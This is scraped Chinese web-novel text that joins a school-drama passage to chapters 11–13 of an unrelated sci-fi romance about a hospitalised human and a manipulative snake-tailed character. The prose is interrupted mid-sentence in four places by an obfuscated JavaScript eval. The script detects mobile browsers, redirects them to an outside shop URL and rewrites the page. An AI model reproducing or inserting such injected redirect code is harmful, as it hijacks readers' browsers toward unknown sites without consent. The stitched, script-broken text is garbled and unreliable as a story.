女生的声音清亮,带着刻意放柔的语调。 祁云照挑眉,脚步不自觉地停下。 这个声音他不认识,但接下来响起的回应却让他指间的烟灰抖落。 “没事。” 褚含舟的声音。 祁云照靠在墙边,他深吸一口烟,缓缓吐出,灰白的烟雾在空气中消散。 “我叫林晚,高三A班的。”女生的声音带着笑意,“昨天就想告诉你,但你走得太快了。” 一阵衣物摩擦的窸窣声,褚含舟似乎往后退了一步:“有事?” “就是……想认识你。”林晚的声音低了下来,“我知道你是谁。褚含舟,对吧?那个……转学生。” 祁云照几乎能想象褚含舟此刻的表情—— 眉头微蹙,嘴唇抿成一条直线,那双黑沉沉的眼睛里写满警惕。 他无声地勾起嘴角,弹了弹烟灰。 “嗯。”褚含舟的回应简短到近乎无礼。 “我昨天看到你的手……”林晚的声音突然靠近,“伤口还疼吗?我带了些药膏——” “不用。” “别这么冷淡嘛。” “我知道你和祁云照住一起……他是不是经常欺负你?” 祁云照的指尖一顿,烟灰落在鞋上。 他眯起眼,等待着褚含舟的回答。 沉默。 长久的沉默。 祁云照能听到自己的心跳声,一下,两下……然后褚含舟终于开口:“这不关你的事。” “怎么不关我的事?”林晚的声音突然提高,“他那种人,仗着家里有钱有势就为所欲为……你不知道,他初中时——” “够了。”褚含舟打断她,“我不需要同情。” 祁云照掐灭烟头,正准备转身离开,脑海中突然响起系统的电子音: 【警报!检测到关键剧情人物!】 【林晚,原著女主,褚含舟的官配。按照剧情发展,她将在主角受欺凌时给予温暖,最终——】 “官配?”祁云照在脑海中冷笑,“就她?” 他重新点燃一支烟,透过袅袅升起的烟雾,终于看清了走廊上的两人。 林晚穿着圣帝安标准的女生制服。 深蓝色百褶裙配白衬衫。 她比褚含舟矮半个头,正仰着脸,手里举着一管药膏,表情固执。 褚含舟背对着他,校服外套有些皱,后颈处露出一小截皮肤,在阳光下泛着蜜色。 他的右手垂在身侧,指关节上的伤口已经结痂,但依然狰狞。 “我不是同情你。”林晚咬了咬下唇,“我只是觉得……你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15612264|172174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不该被那样对待。” 褚含舟没有回答。 “我知道你家的情况。”林晚突然压低声音,“我爸爸是林氏制药的董事长,如果你需要帮助……” 祁云照挑眉。林氏制药? 陆承昀家刚收购的那家? “我不需要施舍。”褚含舟的声音冷得像冰。 “不是施舍!”林晚急得跺脚,“是合作!我听说你在查祁家的事……我可以帮你。” 祁云照的瞳孔骤然收缩。 烟在他指间燃尽,烫到皮肤也浑然不觉。 褚含舟猛地转身:“你怎么知道——” 他的视线越过林晚的肩膀,突然与祁云照四目相对。 时间仿佛在这一刻凝固。 林晚顺着褚含舟的目光回头,在看到祁云照的瞬间,脸上的血色迅速褪去。 她下意识地往褚含舟身边靠了靠,像寻求保护的雏鸟。 “祁……祁云照。”她的声音发抖,却强撑着挺直脊背。 祁云照慢条斯理地碾灭烟头,从阴影中走出来。 阳光透过玻璃穹顶洒在他身上,勾勒出他完美的轮廓。 他今天穿了件深灰色衬衫,领口微敞,锁骨若隐若现。 “继续啊。”他勾起嘴角,目光却冷得吓人,“怎么不说了?” 林晚的手指攥紧了裙摆:“你……你都听到了?” 祁云照没有回答她,而是看向褚含舟:“看来我昨晚不该丢下你。才一晚上,就勾搭上林大小姐了?” 褚含舟的喉结滚动了一下:“不是你想的那样。” “我想的哪样?”祁云照向前一步,“你们刚才不是聊得很开心吗?” 他转向林晚,“你刚才说什么来着?‘他那种人’?” 林晚的脸色更白了,但出乎意料的是,她没有退缩:“我说错了吗?你欺负他还不够?现在连他和谁说话都要管?” 祁云照伸手捏住林晚的下巴,强迫她抬头,“林大小姐,你父亲没教过你,多管闲事会有什么后果?” 林晚的瞳孔紧缩,呼吸变得急促。 祁云照能感觉到她下巴上的肌肉在颤抖,但她的眼神依然倔强。 “放开她。”褚含舟突然开口。 祁云照转向他,挑眉。 “我说,放开她。”褚含舟的声音很低。 祁云照松开手,林晚踉跄着后退几步,后背撞上走廊栏杆。 “褚含舟……”她惊魂未定地看向少年,“你别怕他……” 褚含舟没有看她,而是直视祁云照的眼睛:“你来找我?” 祁云照歪了歪头:“我不能来?” “能。”褚含舟的声音很轻,“随时都可以。” 林晚倒吸一口冷气:“你在说什么?他那样对你——” “林小姐。”褚含舟终于转向她,眼神平静得可怕,“你怎么知道我不情愿?” 林晚张了张嘴,却发不出声音。 “收起你悲天悯人的心肠。”褚含舟的声音像一把钝刀,缓慢地割开林晚的幻想,“我的事,不需要你管。” 林晚的眼中迅速积聚起泪水:“我……我只是想帮你……” “我不需要。”褚含舟打断她,“现在,请你离开。” 祁云照饶有兴致地看着这一幕。 林晚的眼泪终于落下。 她用手背狠狠擦去,抬头时眼中已带上恨意:“好,我走。但褚含舟,你记住——” 她指向祁云照,“这种人永远不会把你当人看!” 说完,她转身跑开。 走廊重归寂静。 褚含舟突然从口袋里掏出一包纸巾,抽出一张。 他伸手握住祁云照的手腕,动作轻柔,却不容拒绝。 祁云照挑眉:“干什么?” “擦干净。” 褚含舟的声音很低,目光专注在祁云照的手指上,“你碰她了。” 祁云照任由他动作,看着褚含舟用纸巾仔细擦拭他的每一根手指,从指尖到指缝,动作轻柔得像在对待什么易碎品。 阳光落在褚含舟低垂的睫毛上,在眼下投下一小片阴影。 “人脸上有很多细菌。”褚含舟突然说,声音平静得像在讨论天气,“不要随便碰一些人。” 祁云照轻笑一声:“包括你?” 褚含舟的动作顿了一下,抬起眼看他。 那双黑沉沉的眼睛里有什么东西一闪而过,快得让人抓不住:“尤其是我。” 11.第 11 章 他叹了口气,放松了紧绷的身体,任由那条冰凉的蛇尾缠在自己腰上。 反正也没什么恶意,就当是……报答他的救命之恩吧。 病房里又安静下来。阳光慢慢移动,落在斯莱瑟的红发上,像燃着一团小小的火焰。 他的呼吸渐渐平稳,似乎是真的睡着了,睫毛偶尔轻颤一下,又好像是装睡。 “斯莱瑟。”方叙白轻声说。 “嗯?”斯莱瑟的声音含糊不清。 “我会跟诺卡斯说说。”方叙白语气认真,“他对你可能有点误会,其实你人挺好的。” 他顿了顿,想起斯莱瑟冲进污染物堆里的样子,补充道,“而且很可靠。” 腰上的蛇尾突然僵住了。 方叙白没察觉到,继续说:“他肯定会感激你的,毕竟你是他的同事,还这么帮他照顾我……” “……” 没有回应。 方叙白奇怪地低头,看到斯莱瑟依旧枕在他腿上,脑袋埋得很低,只能看到乱糟糟的红发。 “斯莱瑟?”方叙白碰了碰他的头发,“你怎么了?” 斯莱瑟的身体猛地一僵,原本缠绕在方叙白腰间的尾巴也下意识地收紧了一下,勒得方叙白微微蹙眉。 诺卡斯? 妈妈居然在这个时候提到了诺卡斯? 他拼死拼活地救了妈妈,为他挡了那么多污染物,受了这么重的伤,结果妈妈想到的居然是回去跟诺卡斯解释? 还要帮他在诺卡斯面前说好话? 凭什么?! 诺卡斯那个家伙做了什么?他什么都没做!凭什么最后好处都要被他占了? 斯莱瑟的心里瞬间涌起一股强烈的愤怒,像是有一团火在燃烧。 他甚至觉得自己的伤口更疼了,疼得他几乎要喘不过气来。 斯莱瑟抬起头,看着方叙白,眼神里充满了难以置信和…… 但他很快就反应过来,不能在妈妈面前表现出对诺卡斯的敌意。 斯莱瑟深吸一口气,强行压下心底的嫉妒,脸上重新挂上了那副温和的笑容,只是那笑容看起来有些僵硬:“没关系,诺卡斯他……可能只是不太了解我。其实我们的关系还是挺好的。” 他一边说,一边在心里咬牙切齿。 诺卡斯……你给我等着。 方叙白没有察觉到斯莱瑟眼底一闪而过的怨毒,他还以为斯莱瑟是真的不在意,心里不由得对他更有好感了。 “你能这么想就好。”方叙白笑了笑,“我就知道你不是诺卡斯说的那种……嗯,长虫。” 斯莱瑟:“……” 虽然知道妈妈是在夸他,但听到“长虫”这个称呼,他还是觉得有点别扭。 不过没关系,只要能让妈妈开心,别说叫长虫,就算叫别的,他也能接受。 斯莱瑟再次低下头,把脸埋在方叙白的腿上,嘴角勾起一抹意味深长的笑容。 尾巴再次轻轻收紧,将方叙白更紧密地缠绕住,不过他确实不太想聊诺卡斯。 他轻轻“嘶”了一声,眉头皱了起来,脸上露出痛苦的表情。 “怎么了?”方叙白心里一紧。 “没什么……”斯莱瑟摇摇头,语气带着一丝隐忍,“就是伤口有点疼。” 他一边说,一边下意识地蜷缩了一下尾巴,那截血肉模糊的尾巴在被子下若隐若现,看起来触目惊心。 方叙白看着他痛苦的样子,心里更愧疚了。他想了想,说道:“要不要叫医生来看看?” “不用不用!”斯莱瑟连忙摆手,“真的没事,忍忍就过去了。妈妈你别担心。” 他看着方叙白担忧的眼神,心里偷偷乐开了花。 果然有用。 刚才路过隔壁病房时,听到那个女孩对着受伤的男孩哭哭啼啼,说什么“你都伤成这样了还硬撑,我会心疼的”,他就觉得这招或许可以用在妈妈身上。 人类真是奇怪的生物,居然会因为看到别人受伤而心疼。 在他们异种的世界里,受伤只会被视为软弱,只会被同类吞噬。 但妈妈不是普通的异种,他是特殊的,是不一样的。 所以,示弱应该能让妈妈更心疼他,更在意他吧? 斯莱瑟偷偷观察着方叙白的表情,看到他眼底的担忧更浓了,心里的喜悦几乎要溢出来。 他轻轻动了动,故意往方叙白身边挪了挪,然后像是没力气了一样,把头埋进了方叙白的胸口。 …… 病房门突然被推开,方叙白下意识抬眼,看见医生拿着病历夹站在门口。 医生的目光先落在斯莱瑟身上。 视线掠过他渗着绿血的纱布、后背焦黑的伤口,最后定格在搭在床沿的蛇尾上。 鳞片翻卷的地方还在渗着绿液。 医生的眉头几不可察地拧了一下。 方叙白下意识坐直了些。 “恢复得怎么样?”医生终于移开视线,走到病床边。 斯莱瑟一时不知道他在问谁,便从方叙白腿上抬起头,红发乱糟糟地支棱着,尾巴尖却极快地扫过床沿,把那摊绿渍蹭到了阴影里。“没事,小伤。” 医生没接话,只是拿起听诊器,金属探头在掌心焐了几秒才递过来。 方叙白配合地掀起病号服,冰凉的触感贴上胸口时,他听见医生低低地“唔”了一声,笔尖在病历本上划过,留下沙沙的声响。 “体温36.8,心率72,电解质趋于稳定。”医生报出一串数字,又翻了翻之前的检查单,“但你体内的‘源能指数’还在波动,比入院时高了12个百分点。” 方叙白眨眨眼:“源能指数是什么?” “通俗点说,就是异能觉醒的前兆。”医生摘下眼镜擦了擦,眼睛带着点笑意,“你这情况不算少见,污染区边缘的人类经常会因为环境刺激觉醒异能。看数据,你很可能是治愈系……我看你帮边这位,我特意看了眼监测仪,这位……” 他瞥了眼斯莱瑟,“在你身边时,伤口愈合速度比之前快了10%。” 方叙白愣住了,下意识低头看趴在腿上的斯莱瑟。 他的蛇尾不知何时缠得更紧了,鳞片贴着腰侧,之前只当是错觉,难道真的是自己的原因? 斯莱瑟的身体猛地一僵,尾巴尖神经质地抽搐了一下。 他能感觉到尾椎处的伤口正在发痒,这是鳞片重新生长的信号。 该死,刚才太专注于蹭妈妈的体温,居然忘了控制恢复速度。 这种程度的伤,他本该在冲出公寓时就自愈,现在却故意拖到现在,不就是为了在妈妈面前卖惨吗? “可能是巧合吧。”斯莱瑟连忙打哈哈,尾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306296|172174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴悄悄松开半寸,又怕方叙白察觉异样,转而轻轻勾住他的脚踝,“我体质特殊,恢复本来就快。” 医生没较真,只是把病历本合上:“出院后去趟异能中心做个详细检测吧,治愈系在安全区很受欢迎。” 他收拾托盘时,目光又扫过斯莱瑟的伤口,嘴角撇了撇,“至于你——” “我没事!”斯莱瑟立刻抢答,生怕医生要他留院治疗,“真的,过两天就好了。” 医生哼笑一声,没再说什么,转身时嘴里嘟囔了句“异能者都这样,宁愿扛着也不掏医药费”。 门关上,斯莱瑟长舒一口气,尾巴在方叙白腿上蹭了蹭,像只撒欢的大型犬。 “吓死我了,这医生眼神跟扫描仪似的。” 方叙白没接话,注意力被床头柜上的平板吸引了。 这是医疗中心配给病人的公用设备,黑色外壳上贴着“安全区公用”的标签,屏幕还亮着。 他伸手去拿,腰侧的蛇尾突然收紧,带着点不易察觉的警惕。 “别动。”斯莱瑟的声音闷闷的,脑袋往他颈窝里埋得更深了,“让我再靠会儿,伤口还疼。” 方叙白犹豫了一下,但还是把平板拿了过来。 屏幕上显示着主界面,几个APP图标整整齐齐地排列着,最上面那个是“污染区生存指南”,图标是个破碎的地球。 他鬼使神差地,他点开了那个APP。 没有密码。 界面跳出来,首先映入眼帘的是一段警告视频。 画面里,灰蒙蒙的天空下,无数扭曲的黑影在废墟里蠕动,旁白的声音冰冷而机械:“欢迎查阅污染区生存指南V6.2,本指南适用于C级及以上污染区活动的人类……” 方叙白的呼吸渐渐屏住了。 视频里开始介绍污染物等级:“污染物按危险程度分为S、A、B、C四级。C级多为无意识的畸变体,如‘腐肉团’‘金属蠕虫’;B级具备基础捕食本能,如‘骨翼飞虫’‘酸液爬虫’;A级拥有智慧,可伪装形态,如‘影织者’‘声诱者’;S级……”画面顿了顿,出现一片模糊的银色粘液,“存在记录极少,疑似具备改写环境的能力。” 斯莱瑟的尾巴尖轻轻敲了敲方叙白的脚踝,像是在安抚,又像是在紧张。 他的鼻尖蹭过方叙白的颈侧,呼吸带着点凉意:“别看这些了,吓人。” 方叙白没理他,手指继续滑动屏幕。 下一段是关于污染症状的描述:“长期暴露于污染区会导致精神污染,表现为幻视、幻听、情绪失控……严重者会被同化,成为新的污染物。” 原来如此。 方叙白恍然大悟。 穿越过来后那些挥之不去的“母亲”声,那些扭曲的幻听,根本不是精神问题,而是被污染了。 他下意识摸了摸太阳穴,那里似乎还残留着细针扎刺的痛感。 视频还在继续,画面切到一栋黑色金属建筑,旁白的语气突然变得凝重:“特别警告:远离异常事务局。该机构为污染区异种自创组织,A级及其以上的异种在此盘踞,它们拥有智慧,擅长模仿人类行为,部分个体以戏耍、吞噬人类为乐……” 方叙白的手指猛地顿住了。 异常事务局?诺卡斯工作的地方? 哦……好像也是斯莱瑟工作的地方。 12.第 12 章 方叙白猛地转头看向斯莱瑟,对方的红发遮住了半张脸,只露出紧抿的嘴唇。 蛇尾不知何时缠上了他的手腕,鳞片轻轻刮擦着皮肤,带着点安抚的意味。 “斯莱瑟,”方叙白的声音有点发颤,“你……” 斯莱瑟沉默了一秒,猛地抬起头,瞳孔里写满了震惊:“什么?!异常事务局是异种窝?” 他像是被踩了尾巴的猫,猛地坐直身体,尾巴在身后剧烈地摆动着,鳞片撞在床架上发出噼里啪啦的声响,“天啊!我们居然在异种眼皮子底下待了那么久?你还跟诺卡斯住在一起……” 他的表情太过逼真,连方叙白都被感染了,心脏砰砰直跳。 视频里的旁白还在继续:“……部分智慧异种会长期伪装,接近人类以获取信任,常见手段包括提供庇护、展示‘善意’……” “难怪!”斯莱瑟突然拔高声音,尾巴重重地拍在床板上,“难怪诺卡斯一直把你关在公寓里,不让你接触外界!他根本是在软禁你!还有他看我的眼神,充满了敌意,肯定是怕我拆穿他的身份!” “毕竟我也是被骗进去的……但接触时间久了,我作为异能者很可能会发现真相。” 方叙白愣住了。 回想起来,诺卡斯确实总是强调“不要出门”,甚至连异常事务局的细节都刻意提及,当时只觉得是关心,现在想来…… “我就说他不对劲。”斯莱瑟凑近了些,鼻尖几乎碰到方叙白的脸颊,语气带着点后怕,“上次我去找你,他回来后那副要吃人的样子,肯定是怕我把你带走。幸好我们逃出来了,不然……” 他没说下去,但尾巴却悄悄收紧,将方叙白的腰勒得更紧了。 红尾蚺在确认猎物归属时,总会用身体缠绕住对方,让其感受自己的存在,这是刻在基因里的习性。 方叙白的脑子乱糟糟的。 诺卡斯是异种?那个在他穿越后唯一提供庇护、为他挡污染物的人,居然是A级以上的智慧异种? “我……”他张了张嘴,想说诺卡斯救过他,但话到嘴边又咽了回去。 视频里说异种擅长伪装善意,那些保护、那些关心,难道都是假的? “别想了。”斯莱瑟的声音放得很软,尾巴轻轻蹭着他的脸颊,动作带着安抚的意味,“现在我们安全了。我之前住在低污染区,那里也被异种统治,根本不知道这些常识,不然早就提醒你了。” 他说着,突然想起什么似的,尾巴卷过平板,划到另一个页面。 那是张污染区分布图,红色的标记密密麻麻地覆盖了大半个星球。 “你看,”斯莱瑟的指尖点在地图上,“我们现在在E-6安全区,这里异种很少,人类军队能守住。等你异能稳定了,我们可以去更高等级的安全区,那里……” 方叙白的注意力却被地图角落的一行小字吸引了:“月城异常事务局部负责人为‘银’,疑似S级异种。” 银? 他猛地想起诺卡斯银灰色的长发,还有梦中……银色的粘液状怪物。 胃里突然一阵翻江倒海。 斯莱瑟察觉到他的不对劲,尾巴立刻松开些,转而轻轻拍着他的后背,像在哄受惊的小动物:“怎么了?是不是不舒服?” 方叙白摇摇头,视线从平板上移开,落在斯莱瑟的蛇尾上。 鳞片在阳光下泛着暗红色的光泽,刚才没注意到,靠近尾尖的地方有几处细小的划痕,像是被什么锋利的东西刮过。 或许是在公寓里为了挡腐蚀液留下的。 不管斯莱瑟说的是真是假,至少他救了自己。 “没什么。”方叙白关掉平板,声音有点哑,“我想再睡会儿。” “好。”斯莱瑟立刻点头,小心翼翼地扶着他躺下,蛇尾则顺势缠上他的小腿,一圈又一圈,“我陪着你。” 方叙白闭上眼睛,却没什么睡意。 耳边是斯莱瑟平稳的呼吸声,腰侧是蛇尾冰凉的触感,脑海里却反复回放着视频里的话。 “智慧异种会戏耍人类”“异常事务局是异种的天堂”…… 诺卡斯是异种。 斯莱瑟是动物异变体异能者。 那他自己呢?觉醒了治愈系异能的人类? 方叙白翻来覆去睡不着。 斯莱瑟突然闷哼一声,身体猛地蜷缩起来,红发凌乱地垂落,遮住了大半张脸。 他右手死死按在纱布上,指缝间渗出的墨绿色汁液迅速晕开。 “嘶……”他的呼吸变得急促,尾椎处的鳞片炸开,暗红色的蛇尾不受控制地翘起,原本结痂的伤口裂开,新鲜的血肉混着粘液滴落,在床单上洇出一个个深绿的圆点。 方叙白的心脏骤然收紧,下意识想去扶他,手刚伸到半空又僵住。 他说是对斯莱瑟的话信了八分,但又隐隐约约总觉得什么地方不对劲。 医生也说斯莱瑟是异能者,但…… “智慧异种擅长伪装善意”。 可眼前这摊刺目的绿血,还有斯莱瑟额头上暴起的青筋,怎么看都不像是装的。 “你怎么样?”他的声音有些发紧。 斯莱瑟缓缓抬起头,红色的瞳孔因为疼痛缩成了一条竖线,像是被踩住七寸的蛇。 他摇了摇头,嘴角牵起一抹极淡的笑,却看着格外瘆人:“不关你的事……只是伤口莫名其妙崩裂了。” 斯莱瑟:“医生还是没说错,我大概是不能硬撑着,我得去找他看看。” 他顿了顿,目光落在方叙白紧绷的侧脸,突然轻声问:“你……还要回去吗?” 方叙白的动作猛地一顿。 回去?回那个蒙着灰绿色雾气的公寓?回那个诺卡斯精心布置的“笼子”里? 脑海里瞬间闪过诺卡斯银灰色的长发,他按在自己额头上的微凉手掌,还有那些被他随手甩出去的污染物断肢。 那些曾经让他感到安心的画面,此刻都蒙上了一层诡异的阴影。 就像隔着一层污浊的玻璃看风景,再温暖的色调也透着寒意。 他沉默着,没有回答。 斯莱瑟的尾巴尖轻轻扫过床沿,鳞片摩擦布料的声音在安静的病房里格外清晰。 他看着方叙白紧抿的嘴唇,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306297|172174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他眼底翻涌的犹豫和抗拒,心脏狂跳起来。 一种近乎狂喜的预感顺着脊椎爬上来,让他几乎要控制不住地吐信子。 妈妈不想回去。 这个认知像一剂强心针,瞬间驱散了他大半的焦灼。 但他没有表现出来。 蛇在捕猎时最擅长的就是耐心,哪怕猎物已经踏入陷阱,也要等到最完美的时机才会收紧身体。 斯莱瑟垂下眼睑,长长的睫毛遮住眼底的兴奋,声音里带上了一丝恰到好处的疲惫:“其实……我听以前的邻居说过怎么去更高等级的安全区。那里有真正的阳光,有不会发光的树叶,还有……” 他顿了顿,像是在回忆什么,“会做贵妃酥的点心铺。” 方叙白的呼吸微不可查地顿了一下。 “不过也没关系,”斯莱瑟又笑了笑,抬手想去碰他的头发,却在半空中停住,转而按住自己渗血的胳膊,“如果你还是想回去找诺卡斯……我可以送你。毕竟,你是他的……朋友。” 他刻意加重了“朋友”两个字,尾音里带着一丝不易察觉的涩意。 方叙白看着他臂弯里不断渗出的绿血,突然觉得喉咙发紧。 回去?回到那个可能布满异种的地方? 他摇了摇头,声音很轻,却很是坚定:“不回。” 话音刚落,他清晰地感觉到缠在自己小腿上的蛇尾猛地收紧了一下,力道不大,却带着一种难以言喻的雀跃,像得到了糖果的孩子在偷偷用力。 斯莱瑟的眼睛瞬间亮了起来,红色的瞳孔里像是燃起了两簇火焰。 但那光芒只持续了一秒,就被他强行压了下去,取而代之的是一种近乎担忧的表情:“可是……你的东西还在公寓里。” “不重要。”方叙白说。 比起那些身外之物,他更想逃离那个让他窒息的地方。 斯莱瑟的嘴角几不可察地向上弯了弯,却在下一秒突然“嘶”了一声,脸色以肉眼可见的速度变得惨白。 他低头看向自己的右臂,纱布已经被绿血完全浸透,甚至能看到底下翻卷的皮肉在蠕动。 “怎么了?”方叙白立刻紧张起来,“是不是又裂开了?” “好像是……”斯莱瑟的声音有些发颤,他扶着桌子慢慢站起来,身体晃了晃,“我去找医生处理一下,很快回来。” 他转身,方叙白清楚地看到他的蛇尾在不安地摆动,鳞片摩擦地面,发出细碎的声响,像是在极力忍耐着什么。 “我跟你一起去!”方叙白也想下床,却被斯莱瑟按住了肩膀。 “不用,”斯莱瑟的手心冰凉,带着一丝滑腻的触感,“你好好休息,我很快就回来。” 他深深地看了方叙白一眼,“等我回来,我们就去订去高等级安全区的票。” 说完,他转身走出病房,整个人滑行都是踉踉跄跄,仿佛真的伤得很重。 方叙白心里那块悬着的石头终于落了地。 他靠在床头,看着窗外灰蒙蒙的天空,第一次觉得这个陌生的世界似乎也不是那么糟糕。 至少,他有逃跑的机会! 13.第 13 章 斯莱瑟踉跄着滑出病房。 门在身后合拢的瞬间,他脸上所有强撑的痛苦和虚弱褪去,只剩下一种冰冷的、无机质般的漠然。 走廊的光线比病房里更亮堂些,照在他暗红色的蛇尾上。 那尾巴不再刻意模仿人类的步伐,而是真正属于蛇类的、无声高效的滑行。 尾椎处的肌肉收缩、舒张,带动整条修长的尾巴在地面滑动,坚硬的鳞片与光滑的地板接触,发出极其细微、几不可闻的“沙沙”声。 他的上半身微微前倾,重心完美地保持在滑行的轴线上。 刚滑过转角,护士正好推着治疗车迎面走来,差点和他撞上。 护士“啊”了一声,下意识后退半步,目光扫过斯莱瑟手臂上那大片被墨绿色粘液浸透、甚至还在缓缓渗出的纱布,以及他苍白得吓人的脸,眉头立刻皱了起来。 “先生!您的伤口!”护士声音拔高,“您不能这样乱走!伤口裂得很严重,必须马上处理!跟我去处置室!” 她伸手想去扶斯莱瑟。 斯莱瑟滑行的动作顿住,抬起头。 护士的动作僵在了半空。 她仿佛看到了一条蓄势待发的毒蛇。 眼前这个红发男人脸上依旧没什么表情,甚至唇角似乎还噙着一丝若有若无的笑? 但那双眼睛……瞳孔在光线下似乎收缩成了极其危险的竖线,眼底深处没有任何痛苦,只有一片审视猎物般的漠然。 令人毛骨悚然的寒意顺着脊椎猛地窜上来,护士觉得自己像是被某种顶级的掠食者锁定了,全身的血液都差点凝固。 她甚至能闻到斯莱瑟身上传来的一股极其淡的、难以形容的……甜腥气? 混合着消毒水味,让她胃里一阵翻腾。 她猛地甩了甩头,眨了眨眼。 再看过去,斯莱瑟的眼神已经恢复如常,带着点虚弱的无奈,甚至还有点不好意思地扯了扯嘴角:“啊,抱歉护士小姐,吓到你了?我没事,就是急着去趟洗手间。” 他甚至还抬了抬受伤的右臂示意了一下,“你看,血都止住了,不碍事的。” 护士定睛一看——刚才还湿透渗血的纱布,此刻竟然……干爽了?只有边缘残留着一圈深色的印记,证明之前确实流过血。 他苍白的脸色似乎也红润了一些? 她愕然地再次眨眼,怀疑自己刚才是不是眼花了。 ……是幻觉吗? “呃……真、真的吗?”护士讷讷地开口,有点不确定。 她仔细打量着斯莱瑟,除了衣服有些脏破,手臂上确实没有新的血迹渗出,脸色虽然还是白,但似乎……是失血后的正常苍白? 刚才那股让她心惊肉跳的甜腥气也消失了。 “真的没事,”斯莱瑟笑容扩大,露出一点牙齿,那笑容在护士眼里却显得有些过分灿烂,甚至带着点诡异的活泼,“谢谢关心。对了,护士小姐,你身上……有伤?” 他的目光意有所指地扫过护士的脖颈和手臂。 护士下意识地摸了摸自己的胳膊:“没……没有啊?” “哦,那大概是我闻错了。”斯莱瑟耸耸肩,语气轻松,“毕竟这里是医院。” 他侧身,滑开一步,让开了道路,“您忙。” 护士看着他那流畅的滑行动作,张了张嘴,最终还是没能再说什么,推着治疗车,有些心神不宁地继续往前走。 走了几步,她忍不住回头。 走廊转角空荡荡的。 刚才还站在那里的红发男人,就像凭空蒸发了一样,消失得无影无踪! 护士猛地倒吸一口凉气,一股寒意从脚底板直冲头顶。 她刚刚……是出现幻觉了吗?还是真的有人来过? “小张!发什么愣呢!”一个严厉的声音响起。护士长不知何时站在不远处的护士站前,皱着眉看着她,“让你去查2106房的血常规结果,拿到没有?杵在这儿干嘛?” 护士小张一个激灵,连忙收回视线,快步走过去:“啊,护士长,马上!我、我这就去拿!” 她压下心头的惊悸,努力让自己声音听起来正常。 护士长是个一丝不苟的中年女性,她目光锐利地扫过小张有些慌乱的脸,眉头皱得更紧:“慌里慌张的像什么样子!注意仪态!还有……” 她突然吸了吸鼻子,语气更加严厉,“你身上喷什么香水了?医院规定不准用任何带浓烈气味的个人护理品,你不知道吗?万一引起病人过敏或者不适怎么办!” 小张吓得连连摆手,声音都带了哭腔:“没有!护士长!绝对没有!我哪敢违反规定啊!我早上连润肤露都没敢用带香味的!真的没有!您闻错了吧?” 护士长却对她的辩解置若罔闻。 她的眼神有些发直,鼻翼微微翕动,脸上竟然慢慢浮现出一种……近乎迷醉的神情? 她深深地、贪婪地吸着气,仿佛空气中有什么绝世珍馐。 “好香……好香……”护士长喃喃自语,声音变得飘忽,脸上严厉的线条也柔和下来,甚至带上了一丝病态的红晕,“这味道……怎么会这么……这么……” 她找不到合适的词语,只是眼神越来越空洞,皮肤下似乎有极其细微的、类似植物根须般的纹路若隐若现。 “护士长?”小张察觉到她的不对劲,试探着叫了一声,心里越发害怕。 “闭嘴!”护士长猛地抬眼,眼神是一种带着狂热和贪婪的诡异光芒,她死死盯着小张,“这香气……是从你身上来的?把它……给我!” 她说着,竟不由自主地向小张逼近一步,手臂抬起,五指张开,像是要抓住什么。 小张吓得尖叫一声,连连后退。 “让开!” 一声冷喝传来。 是王医生!他不知何时出现在走廊尽头,手里抓着一支预抗污染针剂,动作快如闪电! 他一个箭步上前,左手一把扣住护士长的肩膀将她强行扳过身,右手针剂毫不犹豫地狠狠扎进她后颈! “呃啊——!”护士长发出一声非人的惨嚎,身体剧烈抽搐起来,皮肤下那淡绿色的脉络瞬间变得清晰可见,如活物般蠕动,但很快就在药液的作用下迅速消退,她眼中的狂热也迅速褪去,只余茫然。 两名安保人员迅速上前,一左一右架住软倒的护士长。 王医生摘下针管,眉头拧成一个疙瘩,眼神锐利,看向惊魂未定的小张:“你怎么回事?和被污染者待在一起都没察觉?你跟她待了多久?身上有没有沾到什么?” 小张脸色惨白,嘴唇哆嗦着:“我、我不知道……王医生,护士长她刚才突然就……她说我身上有香味,可我真的没有!我……” 王医生眼神一凝,他下意识地吸了吸鼻子,神情变得更加凝重。 空气中确实残留着一丝极其淡雅、却异常勾人的……花香? 但这花香闻久了,竟隐隐让人有种眩晕感。 他立刻屏住呼吸,从口袋里掏出一个检测仪按了一下。 检测仪屏幕闪烁了几下,跳出一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 